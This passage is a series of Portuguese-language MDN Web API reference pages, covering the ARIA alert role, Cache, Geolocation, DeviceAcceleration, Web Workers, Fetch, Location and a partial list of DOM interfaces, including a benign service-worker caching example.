leitor de tela vai, automaticamente, anunciar o alerta, independentemente de onde o foco do teclado esteja localizado no momento.\n* Se um alerta oferecer, também, controles interativos (tais como um controle de formulário que possibilite a sua correção, ou um botão \"OK\" que descarte o alerta), em seu lugar deve-se utilizar um *alertdialog* (diálogo de alerta).\n### Atributos ARIA utilizados\n\n* alert\n### Técnicas ARIA relacionadas\n\n* Utilizando a função alertdialog\n* Utilizando a propriedade aria-invalid\n### Compatibilidade\n\nTBD: Adicionar informações de suporte para UA comum e combinações de produtos TA / AT\n\n### Recursos Adicionais\n\n* Melhores práticas ARIA - Alert Role: https://www.w3.org/TR/wai-aria-practices/#alert"}
{"title":"Cache - APIs da Web","text":"Cache\n=====\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface de **Cache** provê um mecanismo de pares de objeto Request / Response que estão cacheados, por exemplo, como parte do ciclo de vida de um `ServiceWorker` (en-US). Note que a interface do `Cache` é exposta a escopos de janela como também aos workers. Você não precisa utiliza-la em conjunto com os service workers em si, mesmo que ela esteja definida na especificação dos mesmos.\n\nUma origem pode ter múltiplos objetos de `cache` nomeados. Você é o responsável por implementar como seu script (por exemplo, em um `ServiceWorker` (en-US)) trata uma atualização deste `Cache`. Itens em um `Cache` não são atualizados a não ser que explicitamente comandados para fazer tal coisa, também não expiram a não ser quando são deletados. Use `CacheStorage.open(cacheName)` (en-US) para abrir um `Cache` nomeado específico e depois chame qualquer um dos métodos presentes no `Cache` para manter os objetos cacheados.\n\nVocê é também o responsavel por, periódicamente, limpar as entradas de cache. Cada browser tem um limite fixo do tamanho de armazenamento de cache que cada origem pode utilizar. O browser faz o melhor que pode para gerenciar o espaço em disco, mas ele pode deletar um cache que não devia. Ele também vai, geralmente, deletar todos os dados de uma origem ou nenhum dado da mesma, nunca haverá uma ocasião não atômica onde o browser delete parcialmente os dados.\n\nCertifique-se de versionar seus caches por nome e usar somente os caches nas versões do script que eles podem seguramente operar. Veja também o artigo sobre remoção de caches antigos (en-US) para mais informações.\n\n**Nota:** Implementações iniciais do Cache (tanto no Blink quando no Gecko) resolvem promises de `Cache.add` (en-US), `Cache.addAll` (en-US), e `Cache.put` (en-US) somente quando o corpo completo da resposta foi armazenado. Versões mais recentes desta especificação possuem uma melhora de linguagem informando que o browser pode resolver a promise assim que a entrada é registrada no banco de dados, mesmo que o corpo da resposta ainda esteja sendo enviado.\n\n**Nota:** O algoritmo de comparação de chaves depende do cabeçalho VARY no valor. Então, comparar uma nova chave depende tanto de olhar para o valor e para a própria chave para novas entradas no cache.\n\n**Nota:** A API de cache não segue os padrões HTTP de cabeçalhos de Cache.\n\nMétodos\n-------\n\n`Cache.match(request, options)` (en-US)\n\nRetorna uma `Promise` que resolve para a resposta associada com a primeira requisição encontrada no objeto `Cache`.\n\n`Cache.matchAll(request, options)` (en-US)\n\nRetorna uma `Promise` que resolve para um array com todas as referências encontradas de requisições presentes no objeto `Cache`.\n\n`Cache.add(request)` (en-US)\n\nPega a URL, obtém o resultado da resposta e adiciona o mesmo no cache informado. Esta funcionalidade é equivalente a chamar `fetch()`, e depois utilizar `Cache.put()` para adicionar o resultado no cache.\n\n`Cache.addAll(requests)` (en-US)\n\nA partir de um array de URL's, obtém as respostas e adiciona todos os objetos resultantes no cache informado.\n\n`Cache.put(request, response)` (en-US)\n\nDado uma requisição e uma resposta, adiciona ambas ao cache informado.\n\n`Cache.delete(request, options)` (en-US)\n\nEncontra a entrada do `Cache` na qual a chave é a requisição e, se encontrada, deleta a entrada do `Cache` e retorna uma `Promise` que se resolve para `true`. Se nenhuma entrada do `Cache` for encontrada, ela é resolvida para `false`.\n\n`Cache.keys(request, options)` (en-US)\n\nRetorna uma `Promise` que resolve em um array de chaves de `Cache`.\n\nExemplos\n--------\n\nEste trecho de código é da amostra de cache seletivo (veja seleção live de cache), ele utiliza `CacheStorage.open(cacheName)` (en-US) para abrir quaisquer objetos `Cache` com um cabeçalho `Content-Type` que inicie com `font/`.\n\nEntão, utilizamos `Cache.match(request, options)` (en-US) para verificar se já existe uma fonte encontrada no cache e, se existir, retorna-la. Caso contrário, o código busca a fonte da rede e utiliza `Cache.put(request, response)` (en-US) para adiciona-la ao cache.\n\nO código gerencia as exceções disparadas pela operação `fetch()` (en-US). Note que uma resposta de erro HTTP (como o 404) não vai ativar uma exceção. Será retornado um objeto de resposta padrão que possui seu próprio código de erros.\n\nO trecho também mostra as melhores práticas de versionamento de caches utilizadas pelo service worker. Mesmo que só estejamos utilizando um cache neste exemplo, a mesma aproximação pode ser utilizada para múltiplos caches. Mapeamos um identificador para um cache específico e versionado. Por fim, o código deleta todos os cache que não estão presentes em `CURRENT_CACHES`.\n\nNo exemplo, \"Caches\" é um atributo dos service workers no WorkerGlobalScope. Ele contém o CacheStorage, um objeto pelo qual podemos acessar a API de mesmo nome (en-US).\n\n**Nota:** No Chrome, visite `chrome://inspect/#service-workers` e clique no link \"inspect\" abaixo do service worker registrado para analisar os logs das várias ações que o script \"service-worker.js\" está executando.\n\n\n```js\nvar CACHE\\_VERSION = 1;\n\n// Identificador menor para uma versão específica do cache\nvar CURRENT\\_CACHES = {\n  font: \"font-cache-v\" + CACHE\\_VERSION,\n};\n\nself.addEventListener(\"activate\", function (event) {\n  var expectedCacheNames = Object.keys(CURRENT\\_CACHES).map(function (key) {\n    return CURRENT\\_CACHES[key];\n  });\n\n  // O worker não vai ser tratado como ativo até que a Promise se resolva.\n  event.waitUntil(\n    caches.keys().then(function (cacheNames) {\n      return Promise.all(\n        cacheNames.map(function (cacheName) {\n          if (expectedCacheNames.indexOf(cacheName) == -1) {\n            console.log(\"Deletando cache expirado:\", cacheName);\n\n            return caches.delete(cacheName);\n          }\n        }),\n      );\n    }),\n  );\n});\n\nself.addEventListener(\"fetch\", function (event) {\n  console.log(\"Obtendo evento fetch para\", event.request.url);\n\n  event.respondWith(\n    // Abre o objeto de cache que inicia com 'font'\n    caches.open(CURRENT\\_CACHES[\"font\"]).then(function (cache) {\n      return cache\n        .match(event.request)\n        .then(function (response) {\n          if (response) {\n            console.log(\" Encontrou resposta em cache:\", response);\n\n            return response;\n          }\n        })\n        .catch(function (error) {\n          // Trata exceções que vem de match() ou fetch().\n          console.error(\" Erro na handler:\", error);\n\n          throw error;\n        });\n    }),\n  );\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Service Workers # cache-interface |\n\nTabela de compatibilidade\n-------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* Usando Service Workers (en-US)\n* Exemplo básico de service workers\n* Service workers estão prontos?\n* `Promise`\n* Usando Web Workers (en-US)"}
{"title":"Geolocation - APIs da Web","text":"Geolocation\n===========\n\nA interface **Geolocation** representa um objeto ábil de programaticamente obter a posição do aparelho. Dá ao conteúdo web acesso à localização do aparelho. Isto permite com que o website ou a aplicação ofereça resultados customizados baseados na localização do usuário.\n\nUm objeto com tal interface é obtido utilizando a propriedade `NavigatorGeolocation.geolocation` (en-US) implementada pelo objeto `Navigator` (en-US).\n\n**Nota:** Por questões de segurança, quando uma página tenta obter acesso às informações de localização o usuário é notificado e uma requisição é feita para o mesmo fornecesser a permissão. Saiba que cada navegaor possui suas próprias políticas e métodos para requisitar tal permissão.\n\nPropriedades\n------------\n\n*A interface* Geolocation *não implementa nem herda qualquer propriedade.*\n\nMétodos\n-------\n\n*A interface* Geolocation *não herda qualquer métodos.*\n\n`Geolocation.getCurrentPosition()`\n\nDetermina a posição atual do aparelho e retorna um objeto `Position` com os dados.\n\n`Geolocation.watchPosition()`\n\nRetorna um valor long representando a nova função de callback estabelecida para ser invocada a qualquer momento que o localização do aparelho alterar-se.\n\n`Geolocation.clearWatch()`\n\nRemove qualquer encarregado previamente instalado usando *watchPosition()*.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # geolocation\\_interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Usando Geolocation (en-US)"}
{"title":"DeviceAcceleration - APIs da Web","text":"DeviceAcceleration\n==================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nUm objeto `DeviceAcceleration` fornece informações sobre a quantidade de aceleração que o dispositivo desempenha ao longo dos três eixos.\n\nPropriedades\n------------\n\n`DeviceAcceleration.x` (en-US) Somente leitura \n\nA quantidade de aceleração ao longo do eixo X. **Somente leitura**.\n\n`DeviceAcceleration.y` (en-US) Somente leitura \n\nA quantidade de aceleração ao longo do eixo Y. **Somente leitura**.\n\n`DeviceAcceleration.z` (en-US) Somente leitura \n\nA quantidade de aceleração ao longo do eixo Z.**Somente leitura**.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DeviceOrientation Event Specification # devicemotioneventacceleration |"}
{"title":"Web Workers API - APIs da Web","text":"Web Workers API\n===============\n\n**Web Workers** são mecanismos que permitem que uma operação de um dado script seja executado em uma thread diferente da thread principal da aplicação Web. Permitindo que cálculos laboriosos sejam processados sem que ocorra bloqueio da thread principal (geralmente associado à interface).\n\nWeb Workers: conceitos e uso\n----------------------------\n\nUm \"worker\" é um objeto criado através da utilização do construtor (ex `Worker()` (en-US)) que executa um dado arquivo Javascript — o código contido em tal arquivo é executado no thread do worker; e tais workers são executados em um contexto diferente do principal `window`. O contexto dos workers é representado pelo objeto `DedicatedWorkerGlobalScope` (en-US) no caso de workers dedicados (workers padrões são utilizados por um único script; workers compartilhados utilizam `SharedWorkerGlobalScope` (en-US)).\n\nO thread do worker roda qualquer trecho de código, mas é importante ressaltar que esse trecho não poderá manipular o DOM, ou usar alguns métodos e propriedades do objeto `window`. Mas, é permitido usar um grande número de itens fornecidos pelo objeto window, incluindo WebSockets, mecanismos de data storage tais como IndexedDB, Firefox OS-only Data Store API. Para mais detalhes veja Funções e classes disponíveis para os workers (en-US).\n\nO thread principal e os threads dos workers comunicam-se entre si enviando dados através do sistema de mensagens — ambos os lados enviam mensagens usando o método `postMessage()`, e respondem as mensagens via o manipulador de eventos `onmessage` (a mensagem está contida no atributo `data` do evento `Message`). É importante ressaltar que os dados são copiados, e não compartilhados.\n\nWorkers podem, por sua vez, gerar novos workers, desde que esses workers sejam hospedados na mesma origem que a página principal. Além disso, workers podem usar `XMLHttpRequest` para network I/O, com a exceção de que os atributos `responseXML` e `channel` do `XMLHttpRequest` sempre retornam nulo.\n\nAlém dos workers dedicados, existem outros tipos de workers:\n\n* Shared Workers são workers que podem ser utilizados por diversos scripts que estão sendo executados em diferentes janelas, IFrames, etc., desde que eles estejam no mesmo domínio. Eles são ligeiramente mais complexos que workers dedicados — os scripts se comunicam através de uma porta ativa. Veja `SharedWorker` (en-US) para mais detalhes.\n* ServiceWorkers (en-US) essencialmente atuam como servidores proxy enquadram entre aplicativos da web e o navegador e a rede (quando disponível). Eles destinam-se (entre outras coisas) a habilitar a criação de experiências off-line efetivas, interceptando solicitações de rede e tomando as ações adequadas com base na disponibilidade da rede e atualização de ativos no servidor. Eles também permitirão o acesso a notificações push e APIs de sincronização em background.\n* Chrome Workers são um Firefox-only tipo de worker que você pode usar caso esteja desenvolvendo um add-ons e quer usar workers em extensão e ter acesso a js-ctypes na sua worker. Veja `ChromeWorker` para mais detalhes.\n* Audio Workers fornecem a capacidade de processamento de áudio direcionado direto para ser feito dentro do contexto de um web worker.\nInterfaces Web Worker\n---------------------\n\n`AbstractWorker` (en-US)\n\nPropriedades Abstratas e métodos comuns a todos tipos de workers (i.e. `Worker` ou `SharedWorker` (en-US)).\n\n`Worker`\n\nRepresenta a worker thread em execução, permitindo que você passe mensagens para o código em execução.\n\n`SharedWorker` (en-US)\n\nRepresenta um tipo específico de worker que pode ser *acessado* a partir de vários contextos de navegação, sendo várias janelas, iframes ou mesmo workers.\n\n`WorkerGlobalScope` (en-US)\n\nRepresenta o escopo genérico de qualquer worker (fazendo o mesmo trabalho como `Window` para conteúdo normal da web). Diferentes tipos de workers têm objetos de escopo que herdam desta interface e adicionam recursos mais específicos.\n\n`DedicatedWorkerGlobalScope` (en-US)\n\nRepresenta o escopo de um dedicated worker, herdado de `WorkerGlobalScope` (en-US) e adicionam recursos mais específicos.\n\n`SharedWorkerGlobalScope` (en-US)\n\nRepresenta o escopo de um shared worker, herdado de `WorkerGlobalScope` (en-US) e adicionam recursos mais específicos.\n\n`WorkerNavigator` (en-US)\n\nRepresenta a identidade e estado do user agent (o cliente):\n\nExemplos\n--------\n\nCriamos algumas demonstrações simples para mostrar o uso básico:\n\n* Exemplo básico de dedicated worker (executar dedicated worker).\n* Exemplo básico de shared worker (executar shared worker).\n\nVocê pode descobrir mais informações sobre como essas demonstrações funcionam em Usando web workers (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # workers |\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* Using Web Workers (en-US)\n* Worker Interface\n* SharedWorker interface (en-US)\n* ServiceWorker API (en-US)\n* Functions and classes available to workers (en-US)\n* Advanced concepts and examples (en-US)\n* ChromeWorker: para usar workers em código privilegiado/chrome."}
{"title":"Fetch API - APIs da Web","text":"Fetch API\n=========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA Fetch API fornece uma interface para buscar recursos (por exemplo, em toda a rede). Parecerá familiar para qualquer pessoa que tenha usado XMLHttpRequest, porém a nova API oferece um conjunto de recursos mais poderoso e flexível.\n\nConceitos e uso\n---------------\n\nO Fetch fornece uma definição genérica de objetos de `Request` e `Response` (e outras coisas envolvidas com solicitações de rede). Isso permitirá que eles sejam usados onde quer que sejam necessários no futuro, seja para service workers, Cache API e outras coisas similares que manipulam ou modifiquem pedidos e respostas ou qualquer tipo de caso de uso que possa exigir que você gere suas próprias responses programaticamente.\n\nEle também fornece uma definição para conceitos relacionados como CORS e a semântica de cabeçalho de origem HTTP, suplantando suas definições separadas em outro lugar.\n\nPara fazer uma solicitação e buscar um recurso, use o método `GlobalFetch.fetch` (en-US) . Ele é implementado em várias interfaces, especificamente `Window` e `WorkerGlobalScope` (en-US). Isso torna disponível em praticamente qualquer contexto em que você possa querer obter recursos.\n\nO método fetch () tem um argumento obrigatório, o caminho para o recurso que deseja obter. Ele retorna uma promessa que resolve a `Response` para esta requisição, seja ele bem-sucedido ou não. Você também pode, opcionalmente, passar um objeto de opções de inicialização como o segundo argumento (consulte `Request`).\n\nUma vez que uma `Response` é recuperada, há uma série de métodos disponíveis para definir o conteúdo do corpo e como ele deve ser tratado (veja `Body`.)\n\nVocê pode criar um pedido e uma resposta diretamente usando os construtores `Request()` e `Response()` (en-US), mas é improvável que você faça isso diretamente. Em vez disso, é mais provável que sejam criados como resultados de outras ações da API (por exemplo, `FetchEvent.respondWith` (en-US) de service workers).\n\n**Nota:** Encontre mais informações sobre os recursos do Fetch API em Using Fetch, e conceitos para estudos em Fetch basic concepts.\n\nFetch Interfaces\n----------------\n\n`GlobalFetch`\n\nContém o método `fetch()` usado para buscar um recurso.\n\n`Headers` (en-US)\n\nRepresenta cabeçalhos response/request, permitindo que você os consulte e faça diferentes ações dependendo dos resultados.\n\n`Request`\n\nRepresenta um pedido de recursos.\n\n`Response`\n\nRepresenta a resposta de uma requisição.\n\nFetch mixin\n-----------\n\n`Body`\n\nProvidencia métodos relacionados ao corpo da resposta/requisição, permitindo que você declare qual seu tipo de conteúdo e como ele deve ser tratado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # fetch-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* ServiceWorker API (en-US)\n* HTTP access control (CORS) (en-US)\n* HTTP\n* Fetch polyfill\n* Fetch basic concepts"}
{"title":"Location - APIs da Web","text":"Location\n========\n\nResumo\n------\n\nA interface `Location` representa a localização do objeto a qual ele está associado. Mudanças feitas na interface serão refletidas nos objetos relacionados a ela. Tanto a interface `Document`, como a interface `Window` , têm este vínculo com a inteface Location, acessível via `Document.location` e `Window.location` respectivamente.\n\nPropriedades\n------------\n\n*A inteface `Location` não herda nenhuma propriedade, mas implementa as propriedades de* *`URLUtils`.*\n\n`URLUtils.href`\n\nÉ uma `DOMString` que contém toda URL.\n\n`URLUtils.protocol`\n\nÉ uma `DOMString` que contém o esquema de protocolo da URL, incluindo o final ':'.\n\n`URLUtils.host`\n\nÉ uma `DOMString` que contém o *host*, que é o *hostname* seguido de ':' e a *port* da URL.\n\n`URLUtils.hostname`\n\nÉ uma `DOMString` que contém o domínio da URL.\n\n`URLUtils.port`\n\nÉ uma `DOMString` que contém o número da porta da URL.\n\n`URLUtils.pathname`\n\nÉ uma `DOMString` que contém `'/'`, como caractere inicial, seguido do caminho da URL.\n\n`URLUtils.search`\n\nÉ uma `DOMString` que contém um `'?'` seguido dos parâmetros da URL.\n\n`URLUtils.hash`\n\nÉ uma `DOMString` que contém um `'#'` seguido do identificador de fragmento da URL.\n\n`URLUtils.username`\n\nÉ uma `DOMString` que contém o nome de usuário especificado antes do nome de domínio.\n\n`URLUtils.password`\n\nÉ uma `DOMString` que contém a senha especificada antes do nome de domínio.\n\n`URLUtils.origin` Somente leitura \n\nRetorna uma `DOMString` que contém a forma canônica da origem do local especificado.\n\nMétodos\n-------\n\n*A inteface `Location` não herda nenhum método, mas implementa os métodos de `URLUtils`*\n\n`Location.assign()`\n\nCarrega o recurso na URL fornecida como parâmetro.\n\n`Location.reload()`\n\nRecarrega o recurso a partir da URL atual. Seu único parâmetro opcional é um `Boolean` (en-US), que, quando verdadeiro (`true)`, faz com que a página sempre seja recarregada a partir do servidor. Se for falso (`false)` ou não especificado, o navegador pode recarregar a página a partir de seu cache.\n\n`Location.replace()` (en-US)\n\nSubstitui o recurso atual pelo recurso presente na URL fornecida. A diferença entre o método `assign()` é que após usar `replace()` a página atual não será salva na sessão `History` (en-US), ou seja, o usuário não será capaz de usar o botão *voltar* para navegar até a página.\n\n`URLUtils.toString()`\n\nRetorna uma `DOMString` que contém toda URL. O método é um sinônimo para `URLUtils.href`, embora não possa ser usado para modificar o valor.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-location-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Dois métodos que criam um objeto Location: `Window.location` e `Document.location`."}
{"title":"Modelo de Objeto de Documento (DOM) - APIs da Web","text":"Modelo de Objeto de Documento (DOM)\n===================================\n\nO **Modelo de Objeto de Documento (*DOM*)** é uma interface de programação para documentos HTML, XML e SVG . Ele fornece uma representação estruturada do documento como uma árvore. O DOM define métodos que permitem acesso à árvore, para que eles possam alterar a estrutura, estilo e conteúdo do documento. O DOM fornece uma representação do documento como um grupo estruturado de nós e objetos, possuindo várias propriedades e métodos. Os nós também podem ter manipuladores de eventos que lhe são inerentes, e uma vez que um evento é acionado, os manipuladores de eventos são executados. Essencialmente, ele conecta páginas web a scripts ou linguagens de programação.\n\nEmbora o DOM seja frequentemente acessado usando JavaScript, não é uma parte da linguagem JavaScript. Ele também pode ser acessado por outras linguagens.\n\nUma introdução (en-US) ao DOM está disponível.\n\nDOM interfaces\n--------------\n\n* `Attr`\n* `CharacterData`\n* `ChildNode` \nExperimental\n* `Comment` (en-US)\n* `CustomEvent` (en-US)\n* `Document`\n* `DocumentFragment`\n* `DocumentType` (en-US)\n* `DOMError` (en-US)\n* `DOMException` (en-US)\n* `DOMImplementation` (en-US)\n* `DOMString`\n* `DOMTimeStamp` (en-US)\n* `DOMSettableTokenList`\n* `DOMStringList`\n* `DOMTokenList` (en-US)\n* `Element`\n* `Event`\n* `EventTarget`\n* `HTMLCollection`\n* `MutationObserver`\n* `MutationRecord` (en-US)\n* `Node`\n* `NodeFilter`\n* `NodeIterator` (en-US)\n* `NodeList`\n* `ParentNode` \nExperimental\n* `ProcessingInstruction`\n* `Range` (en-US)\n* `Text` (en-US)\n* `TreeWalker` (en-US)\n* `URL`\n* `Window`\n* `Worker`\n* `XMLDocument` \nExperimental\nInterfaces DOM obsoletas\n------------------------\n\nO Modelo de Objeto de Documento foi altamente simplificado. Para conseguir isso, as seguintes interfaces presentes na especificação DOM nível 3 ou especificação anterior foi removida. Ainda não está muito claro se alguns podem ser reintroduzidos ou não, mas por enquanto eles têm que ser considerados obsoletos e devem ser evitados:\n\n* `CDATASection` (en-US)\n* `DOMConfiguration`\n* `DOMErrorHandler`\n* `DOMImplementationList`\n* `DOMImplementationRegistry`\n* `DOMImplementationSource`\n* `DOMLocator`\n* `DOMObject`\n* `DOMUserData`\n* `Entity`\n* `EntityReference`\n* `NamedNodeMap` (en-US)\n* `NameList`\n* `Notation`\n* `TypeInfo`\n* `UserDataHandler`\n* \nInterfaces HTML\n---------------\n\nUm documento contendo HTML é descrito usando o `HTMLDocument` (en-US) interface. Nota-se que a especificação HTML também se extende a `Document` interface.\n\nUm objeto `HTMLDocument` também da acesso á vários recursos de navegadores como a aba ou janela, em que uma página é desenhada usando `Window` interface, o `Style` associado a ele (normalmente CSS), a história do navegador relativa ao contexto, `History`. Eventualmente, `Selection` é feito no documento.\n\n### HTML elemento interfaces\n\n* `HTMLAnchorElement` (en-US)\n* `HTMLAppletElement`\n* `HTMLAreaElement` (en-US)\n* `HTMLAudioElement` (en-US)\n* `HTMLBaseElement` (en-US)\n* `HTMLBodyElement` (en-US)\n* `HTMLBRElement` (en-US)\n* `HTMLButtonElement` (en-US)\n* `HTMLCanvasElement` (en-US)\n* `HTMLDataElement` (en-US)\n* `HTMLDataListElement` (en-US)\n* `HTMLDialogElement` (en-US)\n* `HTMLDirectoryElement`\n* `HTMLDivElement`\n* `HTMLDListElement` (en-US)\n* `HTMLElement` (en-US)\n* `HTMLEmbedElement` (en-US)\n* `HTMLFieldSetElement` (en-US)\n* `HTMLFontElement` (en-US)\n* `HTMLFormElement` (en-US)\n* `HTMLFrameElement`\n* `HTMLFrameSetElement` (en-US)\n* `HTMLHeadElement` (en-US)\n* `HTMLHeadingElement` (en-US)\n* `HTMLHtmlElement` (en-US)\n* `HTMLHRElement` (en-US)\n* `HTMLIFrameElement` (en-US)\n* `HTMLImageElement` (en-US)\n* `HTMLInputElement`\n* `HTMLLabelElement` (en-US)\n* `HTMLLegendElement` (en-US)\n* `HTMLLIElement` (en-US)\n* `HTMLLinkElement` (en-US)\n* `HTMLMapElement` (en-US)\n* `HTMLMediaElement` (en-US)\n* `HTMLMenuElement` (en-US)\n* `HTMLMetaElement` (en-US)\n* `HTMLMeterElement` (en-US)\n* `HTMLModElement` (en-US)\n* `HTMLObjectElement` (en-US)\n* `HTMLOListElement` (en-US)\n* `HTMLOptGroupElement` (en-US)\n* `HTMLOptionElement` (en-US)\n* `HTMLOutputElement` (en-US)\n* `HTMLParagraphElement` (en-US)\n* `HTMLParamElement` (en-US)\n* `HTMLPreElement` (en-US)\n* `HTMLProgressElement` (en-US)\n* `HTMLQuoteElement` (en-US)\n* `HTMLScriptElement` (en-US)\n* `HTMLSelectElement` (en-US)\n* `HTMLSourceElement` (en-US)\n* `HTMLSpanElement`\n* `HTMLStyleElement` (en-US)\n* `HTMLTableElement` (en-US)\n* `HTMLTableCaptionElement` (en-US)\n* `HTMLTableCellElement` (en-US)\n* `HTMLTableDataCellElement` (en-US)\n* `HTMLTableHeaderCellElement` (en-US)\n* `HTMLTableColElement` (en-US)\n* `HTMLTableRowElement` (en-US)\n* `HTMLTableSectionElement` (en-US)\n* `HTMLTextAreaElement` (en-US)\n* `HTMLTimeElement` (en-US)\n* `HTMLTitleElement` (en-US)\n* `HTMLTrackElement` (en-US)\n* `HTMLUListElement` (en-US)\n* `HTMLUnknownElement` (en-US)\n* `HTMLVideoElement` (en-US)\n### Outras interfaces\n\n* `CanvasRenderingContext2D`\n* `CanvasGradient` (en-US)\n* `CanvasPattern` (en-US)\n* `TextMetrics` (en-US)\n* `ImageData` (en-US)\n* `CanvasPixelArray` (en-US)\n* `NotifyAudioAvailableEvent`\n* `HTMLAllCollection` (en-US)\n* `HTMLFormControlsCollection` (en-US)\n* `HTMLOptionsCollection` (en-US)\n* `HTMLPropertiesCollection`\n* `DOMStringMap`\n* `RadioNodeList` (en-US)\n* `MediaError` (en-US)\n### Obsoleto HTML interfaces\n\n* `HTMLIsIndexElement`\nSVG interfaces\n--------------\n\n### SVG elemento interfaces\n\n* `SVGAElement`\n* `SVGAltGlyphElement`\n* `SVGAltGlyphDefElement`\n* `SVGAltGlyphItemElement`\n* `SVGAnimationElement` (en-US)\n* `SVGAnimateElement` (en-US)\n* `SVGAnimateColorElement` (en-US)\n* `SVGAnimateMotionElement` (en-US)\n* `SVGAnimateTransformElement`\n* `SVGCircleElement` (en-US)\n* `SVGClipPathElement` (en-US)\n* `SVGColorProfileElement`\n* `SVGComponentTransferFunctionElement` (en-US)\n* `SVGCursorElement` (en-US)\n* `SVGDefsElement` (en-US)\n* `SVGDescElement` (en-US)\n* `SVGElement` (en-US)\n* `SVGEllipseElement` (en-US)\n* `SVGFEBlendElement` (en-US)\n* `SVGFEColorMatrixElement` (en-US)\n* `SVGFEComponentTransferElement` (en-US)\n* `SVGFECompositeElement` (en-US)\n* `SVGFEConvolveMatrixElement` (en-US)\n* `SVGFEDiffuseLightingElement` (en-US)\n* `SVGFEDisplacementMapElement` (en-US)\n* `SVGFEDistantLightElement` (en-US)\n* `SVGFEFloodElement` (en-US)\n* `SVGFEGaussianBlurElement` (en-US)\n* `SVGFEImageElement` (en-US)\n* `SVGFEMergeElement` (en-US)\n* `SVGFEMergeNodeElement` (en-US)\n* `SVGFEMorphologyElement` (en-US)\n* `SVGFEOffsetElement` (en-US)\n* `SVGFEPointLightElement` (en-US)\n* `SVGFESpecularLightingElement` (en-US)\n* `SVGFESpotLightElement` (en-US)\n* `SVGFETileElement` (en-US)\n* `SVGFETurbulenceElement` (en-US)\n* `SVGFEFuncRElement` (en-US)\n* `SVGFEFuncGElement` (en-US)\n* `SVGFEFuncBElement` (en-US)\n* `SVGFEFuncAElement` (en-US)\n* `SVGFilterElement` (en-US)\n* `SVGFilterPrimitiveStandardAttributes`\n* `SVGFontElement` (en-US)\n* `SVGFontFaceElement` (en-US)\n* `SVGFontFaceFormatElement` (en-US)\n* `SVGFontFaceNameElement` (en-US)\n* `SVGFontFaceSrcElement` (en-US)\n* `SVGFontFaceUriElement` (en-US)\n* `SVGForeignObjectElement` (en-US)\n* `SVGGElement` (en-US)\n* `SVGGlyphElement` (en-US)\n* `SVGGlyphRefElement` (en-US)\n* `SVGGradientElement` (en-US)\n* `SVGHKernElement` (en-US)\n* `SVGImageElement` (en-US)\n* `SVGLinearGradientElement` (en-US)\n* `SVGLineElement` (en-US)\n* `SVGMarkerElement` (en-US)\n* `SVGMaskElement` (en-US)\n* `SVGMetadataElement` (en-US)\n* `SVGMissingGlyphElement` (en-US)\n* `SVGMPathElement` (en-US)\n* `SVGPathElement` (en-US)\n* `SVGPatternElement` (en-US)\n* `SVGPolylineElement` (en-US)\n* `SVGPolygonElement` (en-US)\n* `SVGRadialGradientElement` (en-US)\n* `SVGRectElement` (en-US)\n* `SVGScriptElement` (en-US)\n* `SVGSetElement` (en-US)\n* `SVGStopElement` (en-US)\n* `SVGStyleElement` (en-US)\n* `SVGSVGElement` (en-US)\n* `SVGSwitchElement` (en-US)\n* `SVGSymbolElement` (en-US)\n* `SVGTextElement` (en-US)\n* `SVGTextPathElement` (en-US)\n* `SVGTitleElement` (en-US)\n* `SVGTRefElement` (en-US)\n* `SVGTSpanElement` (en-US)\n* `SVGUseElement` (en-US)\n* `SVGViewElement` (en-US)\n* `SVGVKernElement` (en-US)\n### SVG data type interfaces\n\nAqui estão a DOM API para tipos de dados utilizados nas definições de propriedades SVG e atributos.\n\n**Nota:** Starting in Gecko 5.0, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed ; in addition, they have a length property indicating the number of items in the lists: `SVGLengthList` (en-US), `SVGNumberList` (en-US), `SVGPathSegList`, and `SVGPointList` (en-US).\n\n#### Static type\n\n* `SVGAngle` (en-US)\n* `SVGColor`\n* `SVGICCColor`\n* `SVGElementInstance`\n* `SVGElementInstanceList`\n* `SVGLength` (en-US)\n* `SVGLengthList` (en-US)\n* `SVGMatrix` (en-US)\n* `SVGNumber` (en-US)\n* `SVGNumberList` (en-US)\n* `SVGPaint`\n* `SVGPoint` (en-US)\n* `SVGPointList` (en-US)\n* `SVGPreserveAspectRatio` (en-US)\n* `SVGRect` (en-US)\n* `SVGStringList` (en-US)\n* `SVGTransform` (en-US)\n* `SVGTransformList` (en-US)\n\n#### Animated type\n\n* `SVGAnimatedAngle` (en-US)\n* `SVGAnimatedBoolean` (en-US)\n* `SVGAnimatedEnumeration` (en-US)\n* `SVGAnimatedInteger` (en-US)\n* `SVGAnimatedLength` (en-US)\n* `SVGAnimatedLengthList` (en-US)\n* `SVGAnimatedNumber` (en-US)\n* `SVGAnimatedNumberList` (en-US)\n* `SVGAnimatedPreserveAspectRatio` (en-US)\n* `SVGAnimatedRect` (en-US)\n* `SVGAnimatedString` (en-US)\n* `SVGAnimatedTransformList` (en-US)\n### SMIL related interfaces\n\n* `ElementTimeControl`\n* `TimeEvent` (en-US)\n### Other SVG interfaces\n\n* `SVGAnimatedPathData`\n* `SVGAnimatedPoints` 